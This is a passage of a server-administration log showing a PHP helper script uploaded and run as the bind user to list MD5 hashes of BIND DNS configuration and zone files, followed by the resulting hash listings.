MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:36:05: Establishing a connection
2026-03-31 11:36:05: 

PUT: /tmp/pkp344198

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:36:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp344198; rm /tmp/pkp344198'

2026-03-31 11:36:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 811d821aa27415e28a1d8f5478c07514
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:36:08: Establishing a connection
2026-03-31 11:36:08: 

PUT: /tmp/pkp505398

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:36:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp505398; rm /tmp/pkp505398'

2026-03-31 11:36:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
